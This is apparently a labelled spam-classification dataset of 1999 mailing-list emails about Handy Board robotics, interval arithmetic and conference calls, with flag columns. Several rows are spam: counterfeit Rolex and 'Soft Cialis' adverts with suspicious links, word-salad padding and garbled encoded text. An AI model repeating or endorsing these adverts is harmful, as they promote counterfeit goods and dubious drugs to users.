http://www.dcs.ed.ac.uk/home/dts/etaps/etaps2000-demo/submit.html ------------------------------------------------------------------------- Satellite Events Besides the five main conferences the following satellite events are planned for ETAPS 2000 CBS: International Workshop on Communication-Based Systems (Contact: Guenter Hommel) http://pdv.cs.tu-berlin.de/workshop/ E-mail: workshop@pdv.cs.tu-berlin.de . GRATRA: Joint APPLIGRAPH/GETGRATS Workshop on Graph Transformation Systems (Contact: Hartmut Ehrig) For submission of papers please contact http://tfs.cs.tu-berlin.de/gratra2000. Organizers: H. Ehrig and G. Taentzer (Berlin) in cooperation with A. Corradini (Pisa) andH.-J. Kreowski (Bremen) E-mail: gratra2000@cs.tu-berlin.de WWW: http://tfs.cs.tu-berlin.de/gratra2000 INT: Integration of Specification Techniques with Applications in Engineering (Contact: Martin Grosse-Rhode) Organizers: W.Brauer (Munich), H.Ehrig, M.Grosse-Rhode (Berlin), E.Schnieder(Braunschweig), F.Orejas (Barcelona) E-mail: mgr@cs.tu-berlin.de WWW: http://tfs.cs.tu-berlin.de/~mgr/int2000.html CoFI: Common Framework Initiative for algebraic specification and development of software (Contact: Don Sannella) E-mail: dts@dcs.ed.ac.uk WWW: http://www.brics.dk/Projects/CoFI CMCS: Workshop on Coalgebraic Methods in Computer Science (Contact: Horst Reichel ) E-mail: reichel@tcs.inf.tu-dresden.de WWW: http://wwwtcs.inf.tu-dresden.de/~reichel/cmcs.html --------------------------------------------------------------------------- Important Dates: 18th October 1999: Submissions Deadline for the MainConferences, Demos and Tutorials 13th December 1999: Notification of Acceptance/Rejection 13th January 2000: Camera-ready Version Due 27th - 31th March 2000: ETAPS 2000 in Berlin 25th March - 2nd April 2000: Satellite Events E-mail: etaps2000@iks.cs.tu-berlin.de ",0,1 """SHETTI.NITIN.MANGESH"" ","""Robert M. Bailey"" ","Tue, 18 May 1999 19:33:52 -0500",Re: Interactive C,"Dear Robert, There is a file icmain.pdf which gives detailed information about IC. It should be available at the MIT site. Also html pages at the MIT sites should be containing the same information. The data given is specific to IC only and not to C. Yours sincerely, Nitin ",0,0 Steve Wall ,handyboard@media.mit.edu,"Tue, 18 May 1999 10:16:37 -0500",Memory Questions,"HI, I just have a few questions for the experts, approximately how many lines of code can the handyboards memory hold? I want to know so I have a scope of how big a program can be written to it. Also I read in the mobile robotics book that it is possible to interface another 32k memory chip using existing lines and an inverter on the CE line. is this possible on the handyboard? and if it is would it be a good idea? Thank you in advance ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Tue, 18 May 1999 10:21:51 -0400",Re: LCD,"At 02:06 PM 5/17/99 PDT, Scott Moore wrote: >I remember seeing messages about the LCD for Hitachi no longer being >available, but I have seemed to have misplaced them. Does anybody know what >the substitution for for it is? And will I need to reverse any pins? Also >is there a substitution for the IR demodulator? Scott, any 2x16 character display with the 1x14 pinout will work, although the display may end up oriented the wrong way. ie. away from the HB (if you see what I mean). The hitachi chip is a standard interface, but some of the displays have a 2x7 pinout which complicates things slightly. Ben Wirz has 2x16 units for a reasonable price. Check: www.wirz.com although your local electronics store will likely have them, too. Obtaining the IS1U60 seems to be an ongoing concern. You can get them from Marshall (www.marshall.com) or use the GP1U5x series, also by Sharp. Be aware the pinouts *are* different, so check your datasheets. The best (cheapest) way of getting parts can depend alot on where you are. I'm in Canada, so ordering from the US isn't always economical. Later, Duncan ",0,0 """X. Sean Wang"" ",cpworld@gmu.edu,"Tue, 18 May 1999 12:57:40 -0400",announcing the CPWORLD list,"Hi, In the process of sending announcements for CP99, we have set up a mailing list (CPWORLD@gmu.edu) and have initially signed you up to the list. The purpose of this list is to disseminate information pertaining to research in constraint programming. We hope it will continue its useful life even after CP99, and hope this list will be beneficial to the entire CP community. The first announcement will be a Call for Proposal for workshops for CP99. The list's owners are Sean Wang (xywang@gmu.edu) and Alex Brodsky (brodsky@gmu.edu). You should contact them if there are any problems. Please do not send requests to this list; instead direct them to: listproc@gmu.edu To get more information on how to use this service, please send the command HELP in a line by itself in a mail message to listproc@gmu.edu. To signoff from the list, email to listproc@gmu.edu with the following request in the body of the message: signoff CPWORLD or unsubscribe CPWORLD To send a message to the list, simply send to cpworld@gmu.edu However, since this list contains a large number of addresses, please REFRAIN FROM USING THE LIST unless it is clearly beneficial to the community as a whole. We appreciate your understanding. If you are not sure if a message should be sent to the list directly, you may always contact the owners of the list. To sign on to the mailing list, please send a message to listproc@gmu.edu with the following request in the body of the message: subscribe CPWORLD email_address Full name Thanks. --Sean Wang and Alex Brodsky ",0,0 """X. Sean Wang"" ",cpworld@gmu.edu,"Tue, 18 May 1999 13:00:54 -0400",[CPWORLD] Call For CP99 Post-Conference Workshop Proposals," CP99 Fifth International Conference on Principles and Practice of Constraint Programming Call For CP99 Post-Conference Workshop Proposals Constraints have emerged as the basis of a representational and computational paradigm that draws from many disciplines and can be brought to bear on many problem domains. The Fifth International Conference on Principles and Practice of Constraint Programming (CP99) will be held on October 11-15, 1999 at Alexandra, Virginia, USA and is the main conference devoted to all aspects of computing with constraints including: algorithms, applications, environments, languages, models, systems. In conjunction with the main conference, several post-conference workshops are planned at the end of the conference on October 16, 1999. The role of the post-conference workshops is to provide a platform for the presentation of preliminary work or novel ideas in a less formal way than the conference itself. It is an opportunity to disseminate work in progress, particularly so for new researchers. It also provides a venue for presenting more specialised topics and opportunities for more intensive discussions and exchange of ideas. The topics of the workshops can cover any area related to constraints and any related cross-disciplinary areas. The format of the workshop will be determined by the organizers. Workshops can vary in length with an expected duration ranging from half a day up to one day. Having two or three co-organizers for a workshop is strongly advised. How to Propose a Workshop: -------------------------- Proposals for workshops should be in English and between two to four pages in length. They should contain: * the title of the workshop * a brief technical description of the topics covered by the workshop * a discussion of the timeliness and relevance of the workshop * the names, affiliation and contact details (email, web page, phone, fax, etc) of the workshop organizing committee together with a designated contact person as the workshop coordinator * a preliminary plan/schedule for organizing the workshop * a list of previously-organized related workshops by any of the workshop organizing committee. Although previous experience with organizing similar workshops is not required, this information will be helpful to the Workshop Chair Workshop organizers will be responsible for: * Producing a ""Call for Papers"" for the workshop and posting it on the net and/or other means. Please provide a web page/URL which can be linked into the CP99 home page. * Providing a brief description of the workshop for the conference program. * Reviewing/accepting submitted papers. * Scheduling workshop activities in collaboration with the local organizers and the workshop chair. * Making the accepted papers available to the workshop participants. Submission Procedure: --------------------- Proposals should be submitted electronically (in ASCII, Ghostscript compatible Postscript or LaTeX) to the CP99 Workshop Chair, Jimmy Lee, at the following address: Jimmy Lee, CP99 Workshop Chair Department of Computer Science and Engineering The Chinese University of Hong Kong Shatin, N.T., Hong Kong SAR China Email: jlee@cse.cuhk.edu.hk Url: http://www.cse.cuhk.edu.hk/~jlee Tel: +852 2609-8426 Fax: +852 2603-5024 Deadlines: ---------- Workshop proposal submission by: Fri, Jun 4, 1999 Notification by: Mon, Jun 21, 1999 For more information, please see the CP99 home page: http://www.ise.gmu.edu/cp99 ",0,1 �W���ǮT�ֺ�Candace <.@msa.hinet.net>,handyboard@media.mit.edu,"Sat, 29 Dec 1894 07:43:43 +0800",7��s�W �L�Ӭ¤j�s��|���� �@60���s��Candace,Candace29 20�����e���|�u�� dvd �u�n    1550  ���t�B�O 20�����e���|�u�� dvd �u�n    1550  ���t�B�O,1,1 Marco Malaigia ,"""Robert M. Bailey"" ","Tue, 18 May 1999 20:54:54 +0200",Interactive C,"Dear Robert, I found what I consider to be a better copy of the IC manual( with lots of examples) at Rice University's http://www-brazos.rice.edu/elec201/icmanual.html There is a lot of good stuff in this site. Check it out ! ciao Marco ",0,1 Priscilla Pruitt ,handyboard@media.mit.edu,"Tue, 18 May 1999 15:46:17 -0400",Breitling Watches,"REPLICASONLINE - WE NEVER COMPROMISE ON QUALITY Rolex replica is our speciality We guarantee lowest prices and highest quality We are the Direct manufacturers. For top quality rolex watchs pleas visit: http://051.computerred.com Best regards, Priscilla Pruitt regretted you buckhorn me, minimum cake . absolution you choke me, church clockwise saltwater . pore you appease me, breakage discretionary . irs you gaulle me, dowel . courtesy you hostess me, mcmillan . hearten you transmission me, scoria endothermic article . airmen you extracurricular me, skyrocket . bowline you indelicate me, toodle . http://www.buttonsewme.com/rm/ ",1,1 Luiz Henrique de Figueiredo ,reliable_computing@interval.usl.edu,"Wed, 19 May 1999 22:38:17 -0300",m-M calculus,"I found the book below in the library today: TITLE :m-M calculus AUTHOR: Slavisa B. Presic. PUBLISHER :Beograd : Matematiki institut, 1996. SERIES :Posebna izdanja (Matematicki institut (Belgrade, Serbia) ; knj. 18. It seems to be *exactly* the same as interval arithmetic, but I might have missed something buried in the somewhat heavy notation. Does anyone know this book and how its contens differ from classic IA? Thanks for any information. -- Luiz Henrique de Figueiredo lhf@impa.br http://www.impa.br/~lhf IMPA-Instituto de Matematica Pura e Aplicada fax: +55 21 529-5067 Estrada Dona Castorina 110, 22460-320 Rio de Janeiro, RJ, Brasil ",0,1 """Joe Marie J. Maja"" ","""Fred G. Martin"" , HandyBoard ","Thu, 20 May 1999 10:27:04 +0900",Encoders,"Konnichiwa !! I am currently using the shaft encoder drivers of handy and it works fine, until I implemented a PID (Position Control). I need to check the direction of my mobot. Which means that - if it goes backward, I need to decrease the count and increase it if it goes forward. I tried to use 74HC74 to check the direction of the rotation of the encoder(My encoder have this sig A and sig B output). and run this code void check_right_encoder() /*process*/ { while(1) { if (encoder1_counts!=0) { if(digital(8)==0) { /*check the direction of rotation */ counter_r--; /*declared as global */ encoder1_counts=0; } else { counter--; encoder1_counts=0; } } } This works fine. QUESTIONS: Is there anyone who have tried to do the same thing, but implemented it in assembly - .icb? joema ",0,0 Chul-hun Han ,"""handyboard@media.mit.edu"" ","Thu, 20 May 1999 13:13:20 +0900",Reference book for Handy Board,"Annunghasimniga( hello in Korean)? Could you introduce me a kind of reference book for the application of Handy Board to robot making? I noticed that MOBILE ROBOTS written by Joseph L. Jones, Bruce A. Seiger, and Anita M. Flyn was done for Rug Worrier robot kit. Is the said MOBILE ROBOTS useful for Handy Board also? Thanks in advance. Seoul, Korea C.H.Han � � ",0,0 weiss@rz.uni-karlsruhe.de,reliable_computing@interval.usl.edu,"Thu, 20 May 1999 10:08:23 +0200",special issue of Applied Numerical Mathematics,"Dear Colleagues, May I tend your attention to the new special issue on iterative methods and preconditioners of Applied Numerical Mathematics, Volume 30, Issue 2-3, June 1999. I add the preface and the table of contents. Yours sincerely, Ruediger Weiss -- Dr. Ruediger Weiss Rechenzentrum Universitaet Karlsruhe 76128 Karlsruhe Germany Tel: +49 721 608 4034 Fax: +49 721 32550 Mail: weiss@rz.uni-karlsruhe.de PREFACE At the 15th IMACS World Congress on Scientific Computation, Modelling and Applied Mathematics in Berlin, on August 24 - 29, 1997, the session ``Iterative Methods and Preconditioners'' was organized by the guest editors of this special issue. In this session 15 talks were given and short papers were published in the proceedings edited by Achim Sydow. The session established an overview of the state of the art of iterative solvers. We are grateful to the participants, and especially to the speakers who made this meeting a success. In order to achieve a greater dissemination of the presented results we edit extended versions of the proceedings papers in this special issue of Applied Numerical Mathematics. We already produced a special issue as guest editors with the extended articles of our session on iterative methods at the 14th IMACS World Congress in 1994 in Atlanta. We would like to thank Robert Vichnevetsky and Josef E. Flaherty for offering this opportunity again and for the possibility to continue this line. This Special Issue on Iterative Methods and Preconditioners provides an overview of the state of the art. We invited also scientists that could not participate in the IMACS World Congress to contribute to this special issue in order to present a comprehensive collection. On the other side, some of the invited speakers of our session at the IMACS World Congress did not provide us with an extended paper because their results are published elsewhere. The papers deal with iterative solvers for linear systems, preconditioners for linear solvers, iterative eigenvalue solvers and iterative solvers for nonlinear systems. The articles are grouped according to this sequence. The articles cover many aspects from the introduction of new methods to elaborate implementations of well-known methods on advanced computer architectures, from the solution of single systems to the solution of systems with multiple right-hand sides, from numerical calculations to computational algebra, and from the ordinary floating point arithmetic to interval arithmetic. The first part of the special issue is concerned with iterative methods for linear systems. Ulrike Meier Yang and Kyle A. Gallivan generalize EN-like methods to block versions for the solution of linear systems with multiple right-hand sides. Numerical experiments demonstrate that the methods are competitive with and in many cases better than other block methods. Boris Wagner and Ruediger Weiss analyze the possibilities to implement Krylov subspace methods with a short recurrence. They introduce a new theoretical analysis for truncated generalized CG methods and derive a minimization property in the whole spanned space. Caroline Le Calvez and Yousef Saad introduce new Krylov subspace methods where the usual inner products are substituted by discrete products over polynomials. By this proceeding the impossibility to implement Euclidean inner products in an efficient and scalable manner on parallel computers is by-passed. A system of linear solvers for parallel environments with distributed memory, the program package LINSOL, is presented by Hartmut Haefner, Willi Schoenauer and Ruediger Weiss. The ideas to achieve an efficient and scalable implementation are discussed and the concepts for flexibility, portability and robustness are presented. Svetoslav Markov investigates a Jacobi type method for an interval matrix and an interval right-hand side. The concept of directed interval arithmetic is given and applied to study the properties of the proposed iterative scheme. The second part of this special issue covers preconditioning. The article of Willi Schoenauer is the link to the first part. He investigates several search directions in order to accelerate CG-type methods. Special emphasis is given to the construction of new robust multilevel preconditioning techniques. Seiji Fujino investigates the matrix product preconditioner in comparison to incomplete LU decompositions. It is shown that the matrix product preconditioner is more efficient, in particular by avoiding memory bank conflicts on vector supercomputers. Problems from Nonlinear Elasticity are solved by Jens G. Schmidt and Gerhard Starke. They remove a few negative eigenvalues from the system matrix by forming the Schur complement with respect to a low-dimensional space. By applying usual hierachical and multilevel preconditioners in combination with CG type methods they achieve a faster convergence. Lev A. Krukier introduces a new class of methods that are efficient for strongly nonsymmetric matrices. These techniques prove to be good accelerators for CG type methods when used as preconditioners. Thomas Huckle investigates preconditioners forming incomplete inverses of the matrix minimizing the Frobenius norm. Different adaptive techniques for choosing the sparsity pattern are discussed with respect to the reduction of communication time on parallel computer systems. An practical overview paper on state-of-the-art preconditioners is furnished by Michele Benzi, Miroslav Tuma. They consider as well matrix decompositions as incomplete inverses and supply many numerical tests. The focus of this very comprehensive work is convergence and efficient implementation. Susanne Balle and Jane Cullum present eigenvalue solvers for very large real symmetric matrices on massively parallel systems with distributed memory. By applying the message passing paradigm to variants of the Lanczos process they achieve significant speedups and need only small memory requirements. Andrea Walther, Andreas Griewank and Andre Best state that multiple vector-Jacobian products are cheap in the sense that the same amount of operations is needed as for Jacobian-vector products. The calculation of the results is done by computational differentiation as well as by numerical approximations. Such products are often needed for the solution of nonlinear systems, for example for Newton's method in combination with Krylov subspace methods. A whole class of new nonlinear solvers is surveyed by Ruediger Weiss and Isabella Podgajezki. The methods result from a generalization of linear solvers to nonlinear problems. Different numerical examples demonstrate the potential of these methods. We greatly appreciate the efforts of the authors who made this special issue possible and we would like to thank them all sincerely. Karlsruhe R. Weiss and W. Schoenauer CONTENTS Ulrike Meier Yang, Kyle A. Gallivan A New Family of Block Methods Boris Wagner, Ruediger Weiss Minimization Properties and Short Recurrences Caroline Le Calvez, Yousef Saad Modified Krylov Acceleration for Parallel Environments Hartmut Haefner, Willi Schoenauer, Ruediger Weiss The Program Package LINSOL - Basic Concepts and Realization Svetoslav Markov An Iterative Method for Algebraic Solution to Interval Equations Willi Schoenauer Experiments with Search Directions for a Generalized CG Method Seiji Fujino Estimation of Conflict-Free Matrix Product Preconditioner on Vector Supercomputers Jens G. Schmidt, Gerhard Starke Coarse Space Orthogonalization for Indefinite Linear Systems of Equations Arising in Geometrically Nonlinear Elasticity Lev A. Krukier Convergence Acceleration of Triangular Iterative Methods based on the Skew-Symmetric Part of the Matrix Thomas Huckle Approximate Sparsity Patterns for the Inverse of a Matrix and Preconditioning Michele Benzi, Miroslav Tuma A Comparative Study of Sparse Approximate Inverse Preconditioners Susanne Balle, Jane Cullum A Parallel Algorithm for Computing Eigenvalues of Very Large Real Symmetric Matrices on Message Passing Architectures Andrea Walther, Andreas Griewank, Andre Best Multiple Vector-Jacobian Products are Cheap Ruediger Weiss, Isabella Podgajezki Overview on New Solvers for Nonlinear Systems ",0,0 ricardoheredia ,handyboard@media.mit.edu,,You are still thinking of getting Soft Cialis Tabs for the best erection.,http://xbjn.ga3n3n4x344wkggs3gya3ygy.birdcallml.com You @re a businessman and have no time for a long sexual stimulation. Our Soft Viagra tabs work in less than 15 minutes.,1,1 Sergei Zhilin ,reliable_computing@interval.usl.edu,"Thu, 20 May 1999 17:16:16 +0700",Branch and bound algorithm correctness,"I wonder if somebody can strictly prove (or give me the reference on) the correctness of branch and bound algorithm of global optimization which use interval or affine arithmetic for branch cutting. It may be obvious but still. -- Sergei Zhilin Faculty of Mathematics, Altai State University, Barnaul, Russia ",0,0 Bernd Klein ,"Chul-hun Han , ""handyboard@media.mit.edu"" ","Thu, 20 May 1999 13:00:59 +0200",Re: Reference book for Handy Board,"Guten Tag (hello in german) Yes, i think the book is a good way to learn a lot about robots. The software in the book is properly to use with the HB. I´m using the HB-Board too - and it makes a lot of fun ! Tschau and greetings from germany Bernd Klein Chul-hun Han schrieb: > Annunghasimniga( hello in Korean)? > > Could you introduce me a kind of reference book for > the application of Handy Board to robot making? > I noticed that MOBILE ROBOTS written by > Joseph L. Jones, Bruce A. Seiger, and Anita M. Flyn > was done for Rug Worrier robot kit. > Is the said MOBILE ROBOTS useful for Handy Board > also? > > Thanks in advance. > > Seoul, Korea > > C.H.Han > ",0,0 """R. Baker Kearfott"" ","Sergei Zhilin , reliable_computing@interval.usl.edu","Thu, 20 May 1999 07:50:51 -0500",Re: Branch and bound algorithm correctness,"Sergei, There are a number of variants of branch and bound algorithms that have appeared in the literature, featured in books by Moore, Ratschek and Rokne, and Hansen, as well as in numerous papers. There are also numerous proofs of convergence. The details depend on the specific algorithm. Facts related to such proofs appear in books by Alefeld, Neumaier, and elsewhere. In my own work, the book ""Rigorous Global Search: Continuous Problems,"" does not contain a convergence proof for an overall algorithm, but gives numerous references. In earlier work, I gave a general proof in ""Abstract Generalized Bisection and a Cost Bound,"" Math. Comp. 49 (179), pp. 187-202 (1987). For details, I suggest you check the interval bibliography at http://ma70.rz.uni-karlsruhe.de/~ae15/litlist.html Also, please contact me again if you need additional details. Best regards, Baker At 05:16 PM 5/20/99 +0700, Sergei Zhilin wrote: >I wonder if somebody can strictly prove (or give me the reference on) >the >correctness of branch and bound algorithm of global optimization which >use interval or affine arithmetic for branch cutting. It may be obvious >but still. > >-- >Sergei Zhilin >Faculty of Mathematics, >Altai State University, >Barnaul, Russia > > --------------------------------------------------------------- R. Baker Kearfott, rbk@usl.edu (318) 482-5346 (fax) (318) 482-5270 (work) (318) 981-9744 (home) URL: http://interval.usl.edu/kearfott.html Department of Mathematics, University of Southwestern Louisiana USL Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 """Weng, Andrew"" ","""'Joe Marie J. Maja'"" , ""Fred G. Martin"" , HandyBoard ","Thu, 20 May 1999 03:41:35 -0400",RE: Encoders,"I modified the sencoder() routines to work with quad encoders and a direction decoding IC. the encoder_counts now returns the correct count. I removed the velocity variable from the routine as well. I think I changed encoder routines 2 and 4 and have the direction bits on 3 and 5. I don't have them with me but I can send them if you want... -Drew > -----Original Message----- > From: Joe Marie J. Maja [mailto:maja@robotics.is.tohoku.ac.jp] > Sent: Wednesday, May 19, 1999 9:27 PM > To: Fred G. Martin; HandyBoard > Subject: Encoders > > > Konnichiwa !! > > I am currently using the shaft encoder drivers of handy and it works > fine, until I implemented a PID (Position Control). I need > to check the > direction of my mobot. Which means that - if it goes backward, I need > to decrease the count and increase it if it goes forward. > > I tried to use 74HC74 to check the direction of the rotation of the > encoder(My encoder have this sig A and sig B output). > > and run this code > > void check_right_encoder() /*process*/ > { > while(1) > { > if (encoder1_counts!=0) > { > if(digital(8)==0) { /*check > the direction > of rotation */ > counter_r--; > /*declared as global > */ > encoder1_counts=0; > } > else > { > counter--; > encoder1_counts=0; > } > } > } > > This works fine. > > QUESTIONS: > > Is there anyone who have tried to do the same thing, but > implemented it > in assembly - .icb? > > > joema > > > > ",0,0 Bob_Kelly/First_Union@firstunion-reit.com,handyboard@media.mit.edu,"Thu, 20 May 1999 08:56:23 -0400",PID controller HELP!!!!!," Hello all.... I am currently trying to implement some level of shaft encoding/motor control on the handy board. I am using the shaft encoder software available on the H board site. I am currently using the ""slow"" version, as the top velocity reading I have been able to get is a 13 (same as if I used ""fast"" version). I have 4"" wheels and am using reflectance encoders on a alternating black and white disk with 32 black stripes per revolution. With a velocity of 13 (motors full on) my actual speed is much faster than is needed (and safe!) for my project. I have created a simple software driver that will allow me to control both implemented motors with the following go(DES_POWER_LEVEL, DES_DIRECTIONAL_BIAS). All that is needed to ""slave"" the wheels at this point is a reliable encoder velocity for each wheel that can then be inserted into my go() program. The problem is, the velocity measurement appears to be too coarse ((int)13 steps) and does'nt provide reasonble resolution. Is there a way to change the output value of the shaft encoding software to a ""float"" type of value? Ideally, the velocity count would max at about 90% of full motor power. I know I could use a conversion factor, and I would if the encoder readings were not so rough. Should I create new encoder disks with two or three times the resolution? I am concerned that at this point that I would exceed the mechanical limitations of the Hammamatsu detectors (as used in ""Mobile Robots..."" book) or the ability of the software encoder counter to keep up (even with the fast version). Any thoughts on this? Also, my problem may be the steps of the existing motor control driver for the Handy board. I have loaded the Pcode (or is it the ICB?) that makes the LCD print ""Smooth PWM"" on the start up screen and I also have the latest Expansion (3/19/99) board handyboard libraries, but it still appears to be adjusting the motor control in rather large steps. Please help, this is extremely frustrating (but still kind of fun in a masochistic kind of way)... Thank you all, Bob Kelly ",0,0 Eat Bugs! ,Handyboard list ,"Thu, 20 May 1999 09:11:19 -0400",IC and Pcode w/other boards?,"Hello (Bonjour en anglais) I'm looking to use the freeware version on ic on a linux box with an F1 board. I've got the source for Pcode-2.81, IC-Unix, and as11. I have three questions that just *may* be answerable here (it's worth a shot). My first question is will the pcode source (if I can ever get it to make) build a program that will run on the F1 board? If not, is it possible (well, I know it is, but is it easy) to hack the code for the F1 board? Second question: Will IC run with the board as is? I've browsed through the code, and didn't notice anything to wrong. IC should be able to communicate with it natively because it's an HC11, no? Last question: How's dl for sending stuff to the F1 board? I figure if promted, I can look through the code and change it to work if it doesn't already. Basically, I'd like a system for the F1 board that's as easy and featured as that for my Handyboard. I have libraries for it, but want all the beans. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bug Eater on an '83 V45 Magna ""Dark Side"" and a '71 Triumph Bonnie ""Pieces"" Email at jwp(at)awod.com ( root@localhost ) ""Where are we going? And why are we in this handbasket? ",0,0 Mike Schulte ,reliable_computing@interval.usl.edu,"Thu, 20 May 1999 12:11:32 -0400",Correctly rounding math libary,"Friends, Dr. Abraham Ziv from IBM Israel Science & Technology Ltd. recently developed a math library that correctly rounds (to nearest) twelve elementary math functions for IEEE double precision numbers for use with Java. This is a significant research accomplishment, because it allows code with elementary functions to produce the same results on different platforms. It also paves the way for developing elementary math functions with correct rounding for the other IEEE rounding modes, which would be extremely useful for interval arithmetic. The libary can be downloaded from http://www.alphaWorks.ibm.com/tech/mathlibrary4java A copy of Dr. Ziv's original email along with a citation to one of his journal articles in this area is given below. Regards, Mike --------------------------------------------------- Michael Schulte, Assistant Professor EECS Dept., Lehigh University Bethlehem, PA 18015 Email: schulte@eecs.lehigh.edu Phone: (610)-758-5036 FAX: (610)-758-6279 Office: 326 Packard Lab Personal Homepage: http://www.eecs.lehigh.edu/~mschulte Research Homepage: http://www.eecs.lehigh.edu/~caar > From ziv@il.ibm.com Thu Apr 29 06:26 EDT 1999 > > > > I would like to inform you that a correctly rounding (to nearest) math > library was posted on the IBM 'alphaWorks' web site ( > http://www.alphaWorks.ibm.com), under the title 'Math Library for Java'. > The library includes twelve elementary math functions for the IEEE > arithmetic format 'double'. The functions included are: acos, asin, atan, > atan2, cos, exp, log, pow, remainder, sin, tan. One may download and try > the library with any one of the following operating systems: WIN NT (on a > PENTIUM PC), AIX (on RS/6000), SOLARIS (on SPARC). Your response would be > much appreciated. Please feel free to distribute this note among your > interested colleagues. The methodology used to prepare this library is > described in the paper: > > Abraham Ziv, 'Fast Evaluation of Elementary Mathematical Functions with > Correctly Rounded Last Bit', ACM Transactions on Mathematical Software, > Vol. 17, No. 3, September 1991, Pages 410-423. > > Abraham Ziv > > _______________________________________ > Dr. Abraham Ziv > IBM Israel Science & Technology Ltd. > Matam-Advanced Technology Center > Haifa 31905 > ISRAEL > > Fax: +972 4 855 0070 > Phone: +972 4 829 6216 > E-mail: ziv@il.ibm.com > > > ",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 20 May 1999 19:32:28 +0100",[DMDX] Getting data from .azk files,"I've written a handy program called GETDAT.AWK to process .azk data files. This will take a multi-subject .azk data file and re-arrange it into columns, one column per subject with each subject's data ordered by item number. The data will be output to the same filename as before but with the suffix .txt. This format is useful if you often import multiple subject DMDX data files into a spreadsheet package such as Microsoft Excel. For example the file PILOT.AZK: Subjects incorporated to date: 002 Data file started on machine dmdx4 ********************************************************************** Subject 1, 05/18/1999 15:51:05 on dmdx4, refresh 11.80ms, ID Matt Item RT 1096 436 1009 -393 1029 -407 1098 491 ********************************************************************** Subject 2, 05/18/1999 15:51:30 on dmdx4, refresh 11.80ms, ID M H D Item RT 1096 795 1009 727 1029 660 1098 527 Will be converted into PILOT.TXT like this: Output from DMDX file: E:\\pilot.azk Sub_Num 1 2 Sub_ID Matt M H D 1009 -393 727 1029 -407 660 1096 436 795 1098 491 527 The program is written in the awk scripting language, so it will run on most unix systems as well as on windows 95/NT machines with an appropriate version of awk. There are complete instructions on how to download and install it on my DMDX page: http://csl.psychol.cam.ac.uk/~matt/dmdx.html Any comments or suggested improvements would also be appreciated. Matt ************************************************** Matt Davis Centre for Speech and Language Dept. of Experimental Psychology Cambridge University Email: matt@csl.psychol.cam.ac.uk WWW: http://csl.psychol.cam.ac.uk/~matt/ ************************************************** ",0,1 """Nelson H. F. Beebe"" ","java-sig@suncore.math.utah.edu, java-users@suncore.math.utah.edu","Thu, 20 May 1999 11:48:17 -0600",Correctly-rounding elementary functions for Java,"Folks, this note on the development of a correctly-rounded elementary function library for Java may be of interest to those of you who are involved in numerical programming in Java: >> ... >> From: Mike Schulte >> Date: Thu, 20 May 1999 12:11:32 -0400 (EDT) >> To: reliable_computing@interval.usl.edu >> Subject: Correctly rounding math libary >> Cc: ziv@il.ibm.com >> X-Sun-Charset: US-ASCII >> Sender: owner-reliable_computing@interval.usl.edu >> Precedence: bulk >> >> Friends, >> >> Dr. Abraham Ziv from IBM Israel Science & Technology Ltd. recently developed >> a math library that correctly rounds (to nearest) twelve elementary math >> functions for IEEE double precision numbers for use with Java. This is a >> significant research accomplishment, because it allows code with elementary >> functions to produce the same results on different platforms. It also paves >> the way for developing elementary math functions with correct rounding for >> the other IEEE rounding modes, which would be extremely useful for interval >> arithmetic. >> >> The libary can be downloaded from >> http://www.alphaWorks.ibm.com/tech/mathlibrary4java >> A copy of Dr. Ziv's original email along with a citation to one of his >> journal articles in this area is given below. >> >> Regards, >> >> Mike >> --------------------------------------------------- >> Michael Schulte, Assistant Professor >> EECS Dept., Lehigh University >> Bethlehem, PA 18015 >> Email: schulte@eecs.lehigh.edu >> Phone: (610)-758-5036 >> FAX: (610)-758-6279 >> Office: 326 Packard Lab >> Personal Homepage: http://www.eecs.lehigh.edu/~mschulte >> Research Homepage: http://www.eecs.lehigh.edu/~caar >> >> > From ziv@il.ibm.com Thu Apr 29 06:26 EDT 1999 >> > >> > >> > >> > I would like to inform you that a correctly rounding (to nearest) math >> > library was posted on the IBM 'alphaWorks' web site ( >> > http://www.alphaWorks.ibm.com), under the title 'Math Library for Java'. >> > The library includes twelve elementary math functions for the IEEE >> > arithmetic format 'double'. The functions included are: acos, asin, atan, >> > atan2, cos, exp, log, pow, remainder, sin, tan. One may download and try >> > the library with any one of the following operating systems: WIN NT (on a >> > PENTIUM PC), AIX (on RS/6000), SOLARIS (on SPARC). Your response would be >> > much appreciated. Please feel free to distribute this note among your >> > interested colleagues. The methodology used to prepare this library is >> > described in the paper: >> > >> > Abraham Ziv, 'Fast Evaluation of Elementary Mathematical Functions with >> > Correctly Rounded Last Bit', ACM Transactions on Mathematical Software, >> > Vol. 17, No. 3, September 1991, Pages 410-423. >> > >> > Abraham Ziv >> > >> > _______________________________________ >> > Dr. Abraham Ziv >> > IBM Israel Science & Technology Ltd. >> > Matam-Advanced Technology Center >> > Haifa 31905 >> > ISRAEL >> > >> > Fax: +972 4 855 0070 >> > Phone: +972 4 829 6216 >> > E-mail: ziv@il.ibm.com >> > >> > >> > >> ... ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - -------------------------------------------------------------------------------",0,1 Saul Griffith ,"valerie , yael , play99@media.mit.edu, Alan , Dana Kirsch , Bernd Schoner , Conor , Dan Overholt , Jeff Freedman , John Jovan , Kit Lennox , mikhak , Orville Jackson , Roger L Whit , Stephanie N Nussbaum , Yot Boontongkong , Camille Dungy , Ben Vigoda , Laurie Santos , Alex Holcombe , Anne Harley ","Thu, 20 May 1999 14:49:16 -0400",Hull / Nantasket kite festival.,"Hi all, I had been under the impression that the Nantasket kite festival was on sunday this weekend, but it is actually saturday!. It is being hosted by Seaside kites and is from around 10am to 5pm. I will be going down and would love to see all and sundry who are interested in frollicking at the beach and flying kites as a celebration of semester's end. we have some nice new toys to play with including kite to ground video, musical kites, and anything you wish to bring along. Looks like the winds will be good. Frisbee and football during the breaks in the wind. If it rains on saturday the event is postponed to sunday. please let me know if you will be going / will be driving / or need a ride. If you need help getting your kites in flying order, let me know. Saul. it is about a 1/2 hour drive; Seaside 